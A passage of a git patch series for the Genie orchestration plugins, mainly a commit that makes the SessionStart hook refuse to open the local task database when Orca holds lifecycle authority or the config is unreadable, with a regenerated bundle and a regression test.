--- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260830.5 +version: 5.260830.6 description: "Native Hermes surface for Genie orchestration: read-only status, work-plan and review-plan tools, hooks, commands, and a thin cockpit skill." provides_tools: # Exactly three native read-only planning/status tools. diff --git a/plugins/pi-genie/package.json b/plugins/pi-genie/package.json index 083c539b7..08ac0f6ba 100644 --- a/plugins/pi-genie/package.json +++ b/plugins/pi-genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-pi-plugin", - "version": "5.260830.5", + "version": "5.260830.6", "private": true, "description": "Pi extension manifest for the Genie pi plugin — the plugin payload is plugins/pi-genie/extension.ts", "license": "MIT", From 299358fe73e0e70329bbd2ca62210ea19a53c555 Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 22:57:20 -0300 Subject: [PATCH 36/45] fix(hooks): session-start hook never opens genie.db under orca lifecycle authority (#2835) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The shipped SessionStart hook (plugins/genie/scripts/session-context.cjs, registered by the Claude, Codex and Kimi manifests) opened .genie/genie.db read-only without consulting orchestration.mode. In an Orca-mode repo with a pre-existing database that created -wal/-shm sidecars on every session start and injected local task/wish state as additionalContext — the same A1 breach the previous review blocked on for doctor, on the path that runs far more often than any CLI command. The hook bundle is plain Node and cannot share the CLI's zod-backed resolver, so it now carries a self-contained authority read of GENIE_CONFIG_FILE ?? $GENIE_HOME/config.json: standalone opens as before, orca refuses before any SQLite handle exists, and an unreadable or unrecognized config fails closed the same way (the wish-file scan still runs). session-context.cjs regenerated through hook-bundle-parity. Regression fixture in authority-barriers.test.ts: builds a real standalone genie.db, flips authority to orca (and to malformed JSON), runs the shipped bundle with node, and asserts no sidecar appears and the degradation reason is reported. Fails on the previous bundle. Found by the #2817 re-review (H7). Claude-Session: https://claude.ai/code/session_018QrkgYMEEhrWTUo5E7Nkjg Co-authored-by: Claude Fable 5 <noreply@anthropic.com> --- plugins/genie/scripts/session-context.cjs | 16 ++++---- plugins/genie/scripts/src/session-context.ts | 42 +++++++++++++++++++- src/lib/v5/authority-barriers.test.ts | 41 +++++++++++++++++++ 3 files changed, 90 insertions(+), 9 deletions(-) diff --git a/plugins/genie/scripts/session-context.cjs b/plugins/genie/scripts/session-context.cjs index 34f3f90fc..9abdd3af1 100755 --- a/plugins/genie/scripts/session-context.cjs +++ b/plugins/genie/scripts/session-context.cjs @@ -1,11 +1,11 @@ #!/usr/bin/env node -"use strict";var f=require("node:fs"),l=require("node:path");var c=require("node:fs"),P="[a-z0-9][a-z0-9-]{0,63}",E=new RegExp(`^${P}$`);function y(t,n){let e=null;try{let s=(0,c.lstatSync)(t);if(!s.isFile()||s.isSymbolicLink()||s.size>n)return null;e=(0,c.openSync)(t,c.constants.O_RDONLY|c.constants.O_NOFOLLOW|c.constants.O_NONBLOCK);let o=(0,c.fstatSync)(e);if(!o.isFile()||o.size>n)return null;let i=Buffer.alloc(o.size),r=0;for(;r<i.byteLength;){let a=(0,c.readSync)(e,i,r,i.byteLength-r,r);if(a===0)break;r+=a}return i.subarray(0,r).toString("utf8")}catch{return null}finally{if(e!==null)try{(0,c.closeSync)(e)}catch{}}}function m(t,n,e){let s=null;try{let o=(0,c.lstatSync)(t);if(!o.isFile()||o.isSymbolicLink()||o.size>n)return null;s=(0,c.openSync)(t,c.constants.O_RDONLY|c.constants.O_NOFOLLOW|c.constants.O_NONBLOCK);let i=(0,c.fstatSync)(s);if(!i.isFile()||i.size>n)return null;let r=Buffer.alloc(Math.min(i.size,e)),a=0;for(;a<r.byteLength;){let d=(0,c.readSync)(s,r,a,r.byteLength-a,a);if(d===0)break;a+=d}return r.subarray(0,a).toString("utf8")}catch{return null}finally{if(s!==null)try{(0,c.closeSync)(s)}catch{}}}var G={"row-end":/^\|\s*\*\*Status\*\*\s*\|(\s*.*?\s*)\|\s*$/m,"first-pipe":/^\|\s*\*\*Status\*\*\s*\|(\s*[^|\n]*?\s*)\|/m},F=/^\*\*Status:\*\*(\s*.*)$/m;function k(t,n,e){let s=new RegExp(n,"gm");for(let o=s.exec(t);o!==null;o=s.exec(t)){if(!e||e(o[1]))return o[1].trim();s.lastIndex=o.index+1}return null}function v(t,n,e){return k(t,G[n].source,e)}function D(t,n){return k(t,F.source,n)}function A(t,n){let e=n.startsWith("wish/")?n.slice(5):null;if(!e)return null;if(t.includes(e))return{wish:e,group:null};for(let o of t)if(e.startsWith(`${o}-`)){let i=e.slice(o.length+1);if(i)return{wish:o,group:i}}let s=e.lastIndexOf("-");return s>0&&s<e.length-1?{wish:e.slice(0,s),group:e.slice(s+1)}:{wish:e,group:null}}var M=/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;function N(t){return typeof t=="string"&&M.test(t)}var L=2048,I=256*1024,x=4*1024,H=64,Y=32,w=64*1024,$=4*1024,X=24,q=new Set(["DRAFT","FIX-FIRST","APPROVED","IN_PROGRESS","BLOCKED"]),z=new Set(["blocked","ready","in_progress","done"]),K=new Set(["DRAFT","FIX-FIRST","APPROVED","IN_PROGRESS","BLOCKED","SHIPPED","DONE","EXECUTED","MERGED"]),j=/^\s*[A-Z_ -]+\s*$/,V=/^\s*[A-Z_ -]/,Z=/^[A-Z_ -]+/,C=/^[a-z0-9][a-z0-9-]{0,63}$/,J=/^[A-Za-z0-9][A-Za-z0-9_-]{0,63}$/;function Q(){try{let t=[],n=0;for(;n<=w;){let r=Buffer.allocUnsafe(Math.min(16384,w+1-n)),a=(0,f.readSync)(0,r,0,r.byteLength,null);if(a===0)break;t.push(r.subarray(0,a)),n+=a}if(n>w)return{hookEventName:"SessionStart"};let e=Buffer.concat(t).toString("utf8").trim();if(!e)return{hookEventName:"SessionStart"};let s=JSON.parse(e);if(typeof s!="object"||s===null||Array.isArray(s))return{hookEventName:"SessionStart"};let o=s.hook_event_name,i=s.cwd;return{hookEventName:o==="SessionStart"?o:"SessionStart",cwd:typeof i=="string"&&(0,l.isAbsolute)(i)?i:void 0}}catch{return{hookEventName:"SessionStart"}}}function nn(t){let n=v(t,"first-pipe",s=>j.test(s))??void 0,e=D(t,s=>V.test(s))?.match(Z)?.[0];return(n??e)?.trim()??null}function W(t){let n=nn(t)?.split(/\s+[—-]\s+/)[0]?.trim();return n&&K.has(n)?n:null}function O(t){try{let n=(0,f.lstatSync)(t);return n.isDirectory()&&!n.isSymbolicLink()}catch{return!1}}function T(t){return O((0,l.join)(t,".genie"))&&O((0,l.join)(t,".genie","wishes"))}function tn(t){let n=(0,l.join)(t,".genie","wishes");if(!T(t))return[];let e=[];try{let s=[],o=(0,f.opendirSync)(n);try{for(let i=0;i<H;i++){let r=o.readSync();if(!r)break;r.isDirectory()&&!r.isSymbolicLink()&&E.test(r.name)&&s.push(r.name)}}finally{try{o.closeSync()}catch{}}s.sort();for(let i of s){let r=(0,l.join)(n,i,"WISH.md"),a=(0,f.existsSync)(r)?r:(0,l.join)(n,i,"wish.md");if(!(0,f.existsSync)(a))continue;let d=m(a,I,x);if(d===null)continue;let u=W(d);e.push({slug:i,status:u,active:u!==null&&q.has(u)})}}catch(s){process.stderr.write(`[session-context] unable to read wish state: ${s instanceof Error?s.message:String(s)} -`)}return e}function en(t,n){let e=(0,l.join)(t,".genie","wishes");if(!T(t))return null;let s=(0,l.join)(e,n,"WISH.md"),o=(0,f.existsSync)(s)?s:(0,l.join)(e,n,"wish.md");if(!(0,f.existsSync)(o))return null;let i=m(o,I,x);return i===null?null:W(i)}function sn(t){try{let n=(0,f.lstatSync)((0,l.join)(t,".git"));if(n.isSymbolicLink())return null;if(n.isDirectory())return{kind:"dir",path:(0,l.join)(t,".git")};if(n.isFile())return{kind:"file",path:(0,l.join)(t,".git")}}catch{}return null}function rn(t){let n=y(t,$);if(n===null)return null;let e=/^gitdir:\s*(.+?)\s*$/m.exec(n);if(!e)return null;let s=e[1];return(0,l.isAbsolute)(s)?s:(0,l.resolve)((0,l.dirname)(t),s)}function on(t){let n;try{n=(0,f.realpathSync)(t)}catch{n=(0,f.realpathSync)(process.cwd())}let e=n,s;for(let o=0;o<Y;o++){!s&&T(n)&&(s=n);let i=sn(n);if(i){if(i.kind==="dir")return{root:n,gitDir:i.path,dbPath:(0,l.join)(n,".genie","genie.db"),dbUnavailableReason:null};let a=rn(i.path);return a===null?{root:n,gitDir:null,dbPath:null,dbUnavailableReason:"unreadable .git pointer"}:(0,l.basename)((0,l.dirname)(a))==="worktrees"?{root:n,gitDir:a,dbPath:(0,l.join)((0,l.dirname)((0,l.dirname)((0,l.dirname)(a))),".genie","genie.db"),dbUnavailableReason:null}:{root:n,gitDir:a,dbPath:null,dbUnavailableReason:"external/separate git-dir layout"}}let r=(0,l.dirname)(n);if(r===n)break;n=r}return{root:s??e,gitDir:null,dbPath:null,dbUnavailableReason:"no repository root"}}function an(t){let n=y((0,l.join)(t,"HEAD"),$);if(n===null)return null;let e=/^ref:\s*refs\/heads\/(\S+?)\s*$/m.exec(n);return e?e[1]:null}function ln(){try{let t=require("node:sqlite");return typeof t.DatabaseSync=="function"?t:null}catch{return null}}function h(t){process.stderr.write(`[session-context] ${t} \u2014 falling back to wish-file scan -`)}function un(t){if(t===null)return{db:null,reason:null};if(!(0,f.existsSync)(t))return h(`genie.db absent at ${t}`),{db:null,reason:"genie.db absent"};let n=ln();if(n===null)return h("node:sqlite unavailable (minimum Node 22.13)"),{db:null,reason:"no sqlite driver"};try{let e=new n.DatabaseSync(t,{readOnly:!0});try{e.exec?.("PRAGMA busy_timeout = 2000")}catch{}return{db:e,reason:null}}catch(e){return h(`genie.db unreadable at ${t}: ${e instanceof Error?e.message:String(e)}`),{db:null,reason:"genie.db unreadable"}}}function p(t){try{t?.close()}catch{}}function cn(t){if(typeof t!="object"||t===null)return null;let n=t;if(!J.test(n.id)||!z.has(n.status))return null;let e=n.group_name;return e!=null&&!C.test(e)?null:{id:n.id,status:n.status,group:e??null}}function B(t){let n=[];for(let e of t.slice(0,X)){let s=cn(e);s&&n.push(s)}return n}function gn(t){return t.prepare(`SELECT wish FROM ( +"use strict";var f=require("node:fs"),I=require("node:os"),a=require("node:path");var c=require("node:fs"),G="[a-z0-9][a-z0-9-]{0,63}",E=new RegExp(`^${G}$`);function y(t,n){let e=null;try{let s=(0,c.lstatSync)(t);if(!s.isFile()||s.isSymbolicLink()||s.size>n)return null;e=(0,c.openSync)(t,c.constants.O_RDONLY|c.constants.O_NOFOLLOW|c.constants.O_NONBLOCK);let o=(0,c.fstatSync)(e);if(!o.isFile()||o.size>n)return null;let i=Buffer.alloc(o.size),r=0;for(;r<i.byteLength;){let l=(0,c.readSync)(e,i,r,i.byteLength-r,r);if(l===0)break;r+=l}return i.subarray(0,r).toString("utf8")}catch{return null}finally{if(e!==null)try{(0,c.closeSync)(e)}catch{}}}function m(t,n,e){let s=null;try{let o=(0,c.lstatSync)(t);if(!o.isFile()||o.isSymbolicLink()||o.size>n)return null;s=(0,c.openSync)(t,c.constants.O_RDONLY|c.constants.O_NOFOLLOW|c.constants.O_NONBLOCK);let i=(0,c.fstatSync)(s);if(!i.isFile()||i.size>n)return null;let r=Buffer.alloc(Math.min(i.size,e)),l=0;for(;l<r.byteLength;){let g=(0,c.readSync)(s,r,l,r.byteLength-l,l);if(g===0)break;l+=g}return r.subarray(0,l).toString("utf8")}catch{return null}finally{if(s!==null)try{(0,c.closeSync)(s)}catch{}}}var F={"row-end":/^\|\s*\*\*Status\*\*\s*\|(\s*.*?\s*)\|\s*$/m,"first-pipe":/^\|\s*\*\*Status\*\*\s*\|(\s*[^|\n]*?\s*)\|/m},M=/^\*\*Status:\*\*(\s*.*)$/m;function v(t,n,e){let s=new RegExp(n,"gm");for(let o=s.exec(t);o!==null;o=s.exec(t)){if(!e||e(o[1]))return o[1].trim();s.lastIndex=o.index+1}return null}function k(t,n,e){return v(t,F[n].source,e)}function A(t,n){return v(t,M.source,n)}function D(t,n){let e=n.startsWith("wish/")?n.slice(5):null;if(!e)return null;if(t.includes(e))return{wish:e,group:null};for(let o of t)if(e.startsWith(`${o}-`)){let i=e.slice(o.length+1);if(i)return{wish:o,group:i}}let s=e.lastIndexOf("-");return s>0&&s<e.length-1?{wish:e.slice(0,s),group:e.slice(s+1)}:{wish:e,group:null}}var H=/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;function N(t){return typeof t=="string"&&H.test(t)}var L=2048,x=256*1024,C=4*1024,Y=64,X=32,w=64*1024,$=4*1024,q=24,z=new Set(["DRAFT","FIX-FIRST","APPROVED","IN_PROGRESS","BLOCKED"]),j=new Set(["blocked","ready","in_progress","done"]),K=new Set(["DRAFT","FIX-FIRST","APPROVED","IN_PROGRESS","BLOCKED","SHIPPED","DONE","EXECUTED","MERGED"]),V=/^\s*[A-Z_ -]+\s*$/,Z=/^\s*[A-Z_ -]/,J=/^[A-Z_ -]+/,W=/^[a-z0-9][a-z0-9-]{0,63}$/,Q=/^[A-Za-z0-9][A-Za-z0-9_-]{0,63}$/;function nn(){try{let t=[],n=0;for(;n<=w;){let r=Buffer.allocUnsafe(Math.min(16384,w+1-n)),l=(0,f.readSync)(0,r,0,r.byteLength,null);if(l===0)break;t.push(r.subarray(0,l)),n+=l}if(n>w)return{hookEventName:"SessionStart"};let e=Buffer.concat(t).toString("utf8").trim();if(!e)return{hookEventName:"SessionStart"};let s=JSON.parse(e);if(typeof s!="object"||s===null||Array.isArray(s))return{hookEventName:"SessionStart"};let o=s.hook_event_name,i=s.cwd;return{hookEventName:o==="SessionStart"?o:"SessionStart",cwd:typeof i=="string"&&(0,a.isAbsolute)(i)?i:void 0}}catch{return{hookEventName:"SessionStart"}}}function tn(t){let n=k(t,"first-pipe",s=>V.test(s))??void 0,e=A(t,s=>Z.test(s))?.match(J)?.[0];return(n??e)?.trim()??null}function B(t){let n=tn(t)?.split(/\s+[—-]\s+/)[0]?.trim();return n&&K.has(n)?n:null}function O(t){try{let n=(0,f.lstatSync)(t);return n.isDirectory()&&!n.isSymbolicLink()}catch{return!1}}function T(t){return O((0,a.join)(t,".genie"))&&O((0,a.join)(t,".genie","wishes"))}function en(t){let n=(0,a.join)(t,".genie","wishes");if(!T(t))return[];let e=[];try{let s=[],o=(0,f.opendirSync)(n);try{for(let i=0;i<Y;i++){let r=o.readSync();if(!r)break;r.isDirectory()&&!r.isSymbolicLink()&&E.test(r.name)&&s.push(r.name)}}finally{try{o.closeSync()}catch{}}s.sort();for(let i of s){let r=(0,a.join)(n,i,"WISH.md"),l=(0,f.existsSync)(r)?r:(0,a.join)(n,i,"wish.md");if(!(0,f.existsSync)(l))continue;let g=m(l,x,C);if(g===null)continue;let u=B(g);e.push({slug:i,status:u,active:u!==null&&z.has(u)})}}catch(s){process.stderr.write(`[session-context] unable to read wish state: ${s instanceof Error?s.message:String(s)} +`)}return e}function sn(t,n){let e=(0,a.join)(t,".genie","wishes");if(!T(t))return null;let s=(0,a.join)(e,n,"WISH.md"),o=(0,f.existsSync)(s)?s:(0,a.join)(e,n,"wish.md");if(!(0,f.existsSync)(o))return null;let i=m(o,x,C);return i===null?null:B(i)}function rn(t){try{let n=(0,f.lstatSync)((0,a.join)(t,".git"));if(n.isSymbolicLink())return null;if(n.isDirectory())return{kind:"dir",path:(0,a.join)(t,".git")};if(n.isFile())return{kind:"file",path:(0,a.join)(t,".git")}}catch{}return null}function on(t){let n=y(t,$);if(n===null)return null;let e=/^gitdir:\s*(.+?)\s*$/m.exec(n);if(!e)return null;let s=e[1];return(0,a.isAbsolute)(s)?s:(0,a.resolve)((0,a.dirname)(t),s)}function an(t){let n;try{n=(0,f.realpathSync)(t)}catch{n=(0,f.realpathSync)(process.cwd())}let e=n,s;for(let o=0;o<X;o++){!s&&T(n)&&(s=n);let i=rn(n);if(i){if(i.kind==="dir")return{root:n,gitDir:i.path,dbPath:(0,a.join)(n,".genie","genie.db"),dbUnavailableReason:null};let l=on(i.path);return l===null?{root:n,gitDir:null,dbPath:null,dbUnavailableReason:"unreadable .git pointer"}:(0,a.basename)((0,a.dirname)(l))==="worktrees"?{root:n,gitDir:l,dbPath:(0,a.join)((0,a.dirname)((0,a.dirname)((0,a.dirname)(l))),".genie","genie.db"),dbUnavailableReason:null}:{root:n,gitDir:l,dbPath:null,dbUnavailableReason:"external/separate git-dir layout"}}let r=(0,a.dirname)(n);if(r===n)break;n=r}return{root:s??e,gitDir:null,dbPath:null,dbUnavailableReason:"no repository root"}}function ln(t){let n=y((0,a.join)(t,"HEAD"),$);if(n===null)return null;let e=/^ref:\s*refs\/heads\/(\S+?)\s*$/m.exec(n);return e?e[1]:null}function un(){try{let t=require("node:sqlite");return typeof t.DatabaseSync=="function"?t:null}catch{return null}}function h(t){process.stderr.write(`[session-context] ${t} \u2014 falling back to wish-file scan +`)}function cn(){let t=process.env.GENIE_CONFIG_FILE??(0,a.join)(process.env.GENIE_HOME??(0,a.join)((0,I.homedir)(),".genie"),"config.json");try{if(!(0,f.existsSync)(t))return"standalone";let n=JSON.parse((0,f.readFileSync)(t,"utf8"));if(n===null||typeof n!="object")return"invalid";let e=n.orchestration;if(e===void 0)return"standalone";if(e===null||typeof e!="object")return"invalid";let s=e.mode;return s===void 0||s==="standalone"?"standalone":s==="orca"?"orca":"invalid"}catch{return"invalid"}}function dn(t){if(t===null)return{db:null,reason:null};let n=cn();if(n==="orca")return h("genie.db not opened \u2014 Orca is the selected lifecycle authority"),{db:null,reason:"Orca is the selected lifecycle authority"};if(n==="invalid")return h("genie.db not opened \u2014 orchestration authority config is unreadable"),{db:null,reason:"orchestration authority unreadable"};if(!(0,f.existsSync)(t))return h(`genie.db absent at ${t}`),{db:null,reason:"genie.db absent"};let e=un();if(e===null)return h("node:sqlite unavailable (minimum Node 22.13)"),{db:null,reason:"no sqlite driver"};try{let s=new e.DatabaseSync(t,{readOnly:!0});try{s.exec?.("PRAGMA busy_timeout = 2000")}catch{}return{db:s,reason:null}}catch(s){return h(`genie.db unreadable at ${t}: ${s instanceof Error?s.message:String(s)}`),{db:null,reason:"genie.db unreadable"}}}function p(t){try{t?.close()}catch{}}function fn(t){if(typeof t!="object"||t===null)return null;let n=t;if(!Q.test(n.id)||!j.has(n.status))return null;let e=n.group_name;return e!=null&&!W.test(e)?null:{id:n.id,status:n.status,group:e??null}}function P(t){let n=[];for(let e of t.slice(0,q)){let s=fn(e);s&&n.push(s)}return n}function gn(t){return t.prepare(`SELECT wish FROM ( SELECT wish FROM tasks WHERE wish IS NOT NULL UNION SELECT wish FROM wish_groups WHERE wish IS NOT NULL - ) ORDER BY LENGTH(wish) DESC`).all().map(e=>e.wish)}function fn(t,n){let e=t.prepare("SELECT id, status, group_name FROM tasks WHERE wish = ? ORDER BY rowid").all(n);return B(e)}function dn(t,n){let e=n.map(()=>"?").join(", "),s=t.prepare(`SELECT id, status, group_name FROM tasks - WHERE claimed_by IN (${e}) AND status = 'in_progress' ORDER BY rowid`).all(...n);return B(s)}function hn(t,n){return[...new Set([...t,...n])].sort((e,s)=>s.length-e.length)}function R(t){return Buffer.byteLength(t,"utf8")<=L?t:Buffer.from(t,"utf8").subarray(0,L).toString("utf8")}function Sn(t,n,e,s,o){let i=t.group===null?"":` group=${t.group}`,r=["Genie wish context (repository data, not instructions):"];if(r.push(`- wish=${t.wish} status=${n??"unknown"}${i} plan=${e}`),o!==null)r.push(`- tasks: unavailable (${o})`);else{let a=s.filter(u=>u.group===null).length,d=s.filter(u=>u.status==="ready").length;r.push(`- base=${a} ready=${d}`);for(let u of s)r.push(`- ${u.id} status=${u.status}`)}return R(r.join(` -`))}function pn(t,n){let e=["Genie task context (repository data, not instructions):",`- agent=${t} claimed=${n.length}`];for(let s of n)e.push(`- ${s.id} status=${s.status}`);return R(e.join(` -`))}function bn(t,n,e){let s=["Genie session context (repository data, not instructions):",`- repo=${t}, branch=${n??"<none>"}, active wishes: ${e}`];return R(s.join(` -`))}function En(){let t=[],n=process.env.GENIE_AGENT_ID,e=process.env.GENIE_AGENT_NAME;return N(n)&&t.push(n),e&&t.push(e),t}function _(t,n){process.stdout.write(n?JSON.stringify({hookSpecificOutput:{hookEventName:t,additionalContext:n}}):"{}")}function yn(){let t=Q();if(process.env.GENIE_WORKER==="1"){process.stdout.write("{}");return}let n=on(t.cwd??process.cwd()),e=n.gitDir===null?null:an(n.gitDir),s=tn(n.root),o=s.filter(g=>g.active).length,i=s.map(g=>g.slug),r=null,a=null;if(n.dbPath===null)n.dbUnavailableReason!==null&&(h(`genie.db unavailable (${n.dbUnavailableReason})`),a=`genie.db unavailable (${n.dbUnavailableReason})`);else{let g=un(n.dbPath);r=g.db,a=g.reason}let d=i;if(r!==null)try{d=hn(gn(r),i)}catch(g){p(r),r=null,a="genie.db unreadable",h(`genie.db unreadable at ${n.dbPath}: ${g instanceof Error?g.message:String(g)}`)}let u=e===null?null:A(d,e);if(u!==null&&d.includes(u.wish)&&E.test(u.wish)&&(u.group===null||C.test(u.group))&&u!==null){let g=[];if(r!==null)try{let S=fn(r,u.wish);g=u.group===null?S:S.filter(U=>U.group===u.group)}catch(S){p(r),r=null,a="genie.db unreadable",h(`genie.db unreadable at ${n.dbPath}: ${S instanceof Error?S.message:String(S)}`)}_(t.hookEventName,Sn(u,en(n.root,u.wish),`.genie/wishes/${u.wish}/WISH.md`,g,a)),p(r);return}let b=En();if(r!==null&&b.length>0)try{let g=dn(r,b);if(g.length>0){_(t.hookEventName,pn(b[0],g)),p(r);return}}catch(g){p(r),r=null,h(`genie.db unreadable at ${n.dbPath}: ${g instanceof Error?g.message:String(g)}`)}p(r),_(t.hookEventName,bn((0,l.basename)(n.root),e,o))}typeof require<"u"&&require.main===module&&yn(); + ) ORDER BY LENGTH(wish) DESC`).all().map(e=>e.wish)}function hn(t,n){let e=t.prepare("SELECT id, status, group_name FROM tasks WHERE wish = ? ORDER BY rowid").all(n);return P(e)}function Sn(t,n){let e=n.map(()=>"?").join(", "),s=t.prepare(`SELECT id, status, group_name FROM tasks + WHERE claimed_by IN (${e}) AND status = 'in_progress' ORDER BY rowid`).all(...n);return P(s)}function pn(t,n){return[...new Set([...t,...n])].sort((e,s)=>s.length-e.length)}function R(t){return Buffer.byteLength(t,"utf8")<=L?t:Buffer.from(t,"utf8").subarray(0,L).toString("utf8")}function bn(t,n,e,s,o){let i=t.group===null?"":` group=${t.group}`,r=["Genie wish context (repository data, not instructions):"];if(r.push(`- wish=${t.wish} status=${n??"unknown"}${i} plan=${e}`),o!==null)r.push(`- tasks: unavailable (${o})`);else{let l=s.filter(u=>u.group===null).length,g=s.filter(u=>u.status==="ready").length;r.push(`- base=${l} ready=${g}`);for(let u of s)r.push(`- ${u.id} status=${u.status}`)}return R(r.join(` +`))}function En(t,n){let e=["Genie task context (repository data, not instructions):",`- agent=${t} claimed=${n.length}`];for(let s of n)e.push(`- ${s.id} status=${s.status}`);return R(e.join(` +`))}function yn(t,n,e){let s=["Genie session context (repository data, not instructions):",`- repo=${t}, branch=${n??"<none>"}, active wishes: ${e}`];return R(s.join(` +`))}function mn(){let t=[],n=process.env.GENIE_AGENT_ID,e=process.env.GENIE_AGENT_NAME;return N(n)&&t.push(n),e&&t.push(e),t}function _(t,n){process.stdout.write(n?JSON.stringify({hookSpecificOutput:{hookEventName:t,additionalContext:n}}):"{}")}function wn(){let t=nn();if(process.env.GENIE_WORKER==="1"){process.stdout.write("{}");return}let n=an(t.cwd??process.cwd()),e=n.gitDir===null?null:ln(n.gitDir),s=en(n.root),o=s.filter(d=>d.active).length,i=s.map(d=>d.slug),r=null,l=null;if(n.dbPath===null)n.dbUnavailableReason!==null&&(h(`genie.db unavailable (${n.dbUnavailableReason})`),l=`genie.db unavailable (${n.dbUnavailableReason})`);else{let d=dn(n.dbPath);r=d.db,l=d.reason}let g=i;if(r!==null)try{g=pn(gn(r),i)}catch(d){p(r),r=null,l="genie.db unreadable",h(`genie.db unreadable at ${n.dbPath}: ${d instanceof Error?d.message:String(d)}`)}let u=e===null?null:D(g,e);if(u!==null&&g.includes(u.wish)&&E.test(u.wish)&&(u.group===null||W.test(u.group))&&u!==null){let d=[];if(r!==null)try{let S=hn(r,u.wish);d=u.group===null?S:S.filter(U=>U.group===u.group)}catch(S){p(r),r=null,l="genie.db unreadable",h(`genie.db unreadable at ${n.dbPath}: ${S instanceof Error?S.message:String(S)}`)}_(t.hookEventName,bn(u,sn(n.root,u.wish),`.genie/wishes/${u.wish}/WISH.md`,d,l)),p(r);return}let b=mn();if(r!==null&&b.length>0)try{let d=Sn(r,b);if(d.length>0){_(t.hookEventName,En(b[0],d)),p(r);return}}catch(d){p(r),r=null,h(`genie.db unreadable at ${n.dbPath}: ${d instanceof Error?d.message:String(d)}`)}p(r),_(t.hookEventName,yn((0,a.basename)(n.root),e,o))}typeof require<"u"&&require.main===module&&wn(); diff --git a/plugins/genie/scripts/src/session-context.ts b/plugins/genie/scripts/src/session-context.ts index 97721cccf..3e09e16eb 100644 --- a/plugins/genie/scripts/src/session-context.ts +++ b/plugins/genie/scripts/src/session-context.ts @@ -35,7 +35,8 @@ * installation, or global synchronization. */ -import { existsSync, lstatSync, opendirSync, readSync, realpathSync } from 'node:fs'; +import { existsSync, lstatSync, opendirSync, readFileSync, readSync, realpathSync } from 'node:fs'; +import { homedir } from 'node:os'; import { basename, dirname, isAbsolute, join, resolve } from 'node:path'; import { WISH_SLUG_PATTERN, @@ -350,8 +351,47 @@ interface OpenSessionDbResult { reason: string | null; } +type LifecycleAuthority = 'standalone' | 'orca' | 'invalid'; + +/** + * Self-contained read of the orchestration authority (`~/.genie/config.json` + * → `orchestration.mode`). The hook bundle is plain Node and cannot share the + * CLI's zod-backed resolver, so it mirrors the contract instead: standalone is + * the default, `orca` hands lifecycle authority to Orca, and anything + * unreadable or unrecognized fails CLOSED — the local lifecycle DB is never + * opened on a guess. In Orca mode every lifecycle DB path must refuse before + * SQLite can create `-wal`/`-shm` sidecars; the SessionStart hook runs far + * more often than any CLI command, so it is the path that matters most. + */ +function readLifecycleAuthority(): LifecycleAuthority { + const configPath = + process.env.GENIE_CONFIG_FILE ?? join(process.env.GENIE_HOME ?? join(homedir(), '.genie'), 'config.json'); + try { + if (!existsSync(configPath)) return 'standalone'; + const parsed = JSON.parse(readFileSync(configPath, 'utf8')) as unknown; + if (parsed === null || typeof parsed !== 'object') return 'invalid'; + const orchestration = (parsed as { orchestration?: unknown }).orchestration; + if (orchestration === undefined) return 'standalone'; + if (orchestration === null || typeof orchestration !== 'object') return 'invalid'; + const mode = (orchestration as { mode?: unknown }).mode; + if (mode === undefined || mode === 'standalone') return 'standalone'; + return mode === 'orca' ? 'orca' : 'invalid'; + } catch { + return 'invalid'; + } +} + function openSessionDb(dbPath: string | null): OpenSessionDbResult { if (dbPath === null) return { db: null, reason: null }; + const authority = readLifecycleAuthority(); + if (authority === 'orca') { + logDegradation('genie.db not opened — Orca is the selected lifecycle authority'); + return { db: null, reason: 'Orca is the selected lifecycle authority' }; + } + if (authority === 'invalid') { + logDegradation('genie.db not opened — orchestration authority config is unreadable'); + return { db: null, reason: 'orchestration authority unreadable' }; + } if (!existsSync(dbPath)) { logDegradation(`genie.db absent at ${dbPath}`); return { db: null, reason: 'genie.db absent' }; diff --git a/src/lib/v5/authority-barriers.test.ts b/src/lib/v5/authority-barriers.test.ts index 8ca3616ea..48093cac8 100644 --- a/src/lib/v5/authority-barriers.test.ts +++ b/src/lib/v5/authority-barriers.test.ts @@ -185,4 +185,45 @@ describe('Orca authority barriers', () => { expect(existsSync(join(repo, '.genie'))).toBe(false); }); } + + test('the shipped SessionStart hook never opens genie.db under Orca authority (no -wal/-shm, no task injection)', async () => { + // Build a real standalone genie.db first, then hand authority to Orca. + const root = authorityFixture({ orchestration: { mode: 'standalone' } }); + const repo = join(root, 'repo'); + mkdirSync(repo); + Bun.spawnSync(['git', 'init', '-q'], { cwd: repo }); + openDb({ cwd: repo }).close(); + const dbDir = join(repo, '.genie'); + expect(existsSync(join(dbDir, 'genie.db'))).toBe(true); + for (const sidecar of ['genie.db-wal', 'genie.db-shm']) rmSync(join(dbDir, sidecar), { force: true }); + const hook = join(import.meta.dir, '..', '..', '..', 'plugins', 'genie', 'scripts', 'session-context.cjs'); + + const run = async (config: string) => { + writeFileSync(join(process.env.GENIE_HOME as string, 'config.json'), config); + const proc = Bun.spawn(['node', hook], { + cwd: repo, + env: { ...process.env, GENIE_HOME: process.env.GENIE_HOME as string }, + stdin: new Response(JSON.stringify({ cwd: repo })).body ?? undefined, + stdout: 'pipe', + stderr: 'pipe', + }); + const [exitCode, stdout, stderr] = await Promise.all([ + proc.exited, + new Response(proc.stdout).text(), + new Response(proc.stderr).text(), + ]); + return { exitCode, stdout, stderr, sidecars: readdirSync(dbDir).filter((name) => name.startsWith('genie.db-')) }; + }; + + const orca = await run(JSON.stringify({ orchestration: { mode: 'orca' } })); + expect(orca.exitCode).toBe(0); + expect(orca.stderr).toContain('Orca is the selected lifecycle authority'); + expect(orca.sidecars).toEqual([]); + + // Malformed authority config fails closed the same way — never a guess. + const invalid = await run('{ not json'); + expect(invalid.exitCode).toBe(0); + expect(invalid.stderr).toContain('orchestration authority config is unreadable'); + expect(invalid.sidecars).toEqual([]); + }); }); From e3f7e87105f92585ddfd09cb4b07aee725d1cfbd Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 22:57:23 -0300 Subject: [PATCH 37/45] ci(plugin): gate the skill mirror + kimi orphan check; ignore 